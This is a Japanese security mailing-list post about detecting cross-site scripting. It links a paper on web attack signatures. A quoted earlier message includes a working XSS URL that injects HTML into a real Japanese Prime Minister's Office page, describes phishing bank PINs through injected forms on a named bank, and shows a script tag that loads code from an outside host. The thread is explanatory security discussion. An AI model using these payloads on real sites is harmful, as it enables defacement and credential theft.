[stalk:01213] Re: クロスサイトスクリプティングの検出

[Gouya Naozumi <gouya@xxxxxxxxx>]

CSS 検出に直接関係する話題ではないのですが...

bugtraq で、"Fingerprinting Port 80 Attacks:
 A look into web server, and web application attack signatures: Part Two."
が紹介されていました。
  (http://online.securityfocus.com/archive/1/261549
   http://www.cgisecurity.net/papers/fingerprinting-2.txt)

この中の「IV.   Cross Site Scripting examples」
などもご参考になるかもしれません。

> 今日先ほど公開した首相官邸への攻撃？URL例だと、
> 
> http://www.mmz.kantei.go.jp/cgi-bin/confirm.pl?mailaddress=tewt@xxxxxxxxxxx&sex=><div%20align=left><font%20size=+5><b>%A1%CE%A4%E9%A4%A4%A4%AA%A4%F3%A4%CF%A1%BC%A4%C8%A1%A1%A1%C1%A1%A1%BE%AE%C0%F4%C1%ED%CD%FD%A4%CE%A5%E1%A5%C3%A5%BB%A1%BC%A5%B8%A1%CF</b><P>%BE%AE%C0%F4%BD%E3%B0%EC%CF%BA%A4%C7%A4%B9%A1%A3<p>%B9%BD%C2%A4%B2%FE%B3%D7%A4%CE%C3%EC%A4%C8%A4%B7%A4%C6%BF%CA%A4%E1%A4%C6%A4%AD%A4%BFe-Japan%B7%D7%B2%E8%A4%C7%A4%B9%A4%AC%A1%A2%A4%B3%A4%B3%A4%C7%B8%AB%C4%BE%A4%B7%A4%F2%A4%CF%A4%AB%A4%EB%A4%B3%A4%C8%A4%CB%A4%B7%A4%DE%A4%B7%A4%BF%A1%A3%BC%F3%C1%EA%B4%B1%C5%A1%A4%CE%A5%B5%A1%BC%A5%D0%A4%CB%A4%AA%A4%A4%A4%C6%A4%B5%A4%A8%B8%C4%BF%CD%BE%F0%CA%F3%A4%F2%C5%AC%C0%DA%A4%CB%CA%DD%B8%EE%A4%C7%A4%AD%A4%CA%A4%AB%A4%C3%A4%BF%A4%C8%A4%A4%A4%A6%BB%F6%BC%C2%A4%F2%C6%A7%A4%DE%A4%A8%B1%BE%A1%B9</font></div><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br></font></div> 
> 
> ですので、攻撃タグのようなものは存在しません。
> 必要なのは「タグを閉じる」ことだけなので、要はただ一文字 > です。
> この例ですと sex=
> の後に > がきていることが全てです。あとはなんでもありです。
> 
> また、凶悪な攻撃方法としては、Form があります。
> 
> 例えば
> 「春の特別キャンペーン」以下の項目にご記入下さい。
> ってな記述と共に
> 個人情報、銀行口座、暗証番号などをフォーム記入させ、
> その内容を別サーバへ送るということができます。
> Japannetbankに脆弱性があることを公開していますが、この脆弱ページ、
> あと暗証番号さえ書き込ませれば、何もかも別サーバに飛ばすことができます。
> # ただ、CSSを発現させるために、ユーザを悪意あるCSS脆弱ページにアクセスさせるにはかなり
> # 高度なソーシャルハッキングによる誘導が必要です。
> 
> また
> 
> <script src=http://www.office.ac/malicious_code></script>
> 
> なんて方法で、一番凶悪なコード部分を外のサーバにおくこともできます。

--------
   Gouya Naozumi

--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
　　      ★ケータイに“足あと”がつく！追跡して友達になろう。
              http://profile.www.infoseek.co.jp/?svx=971122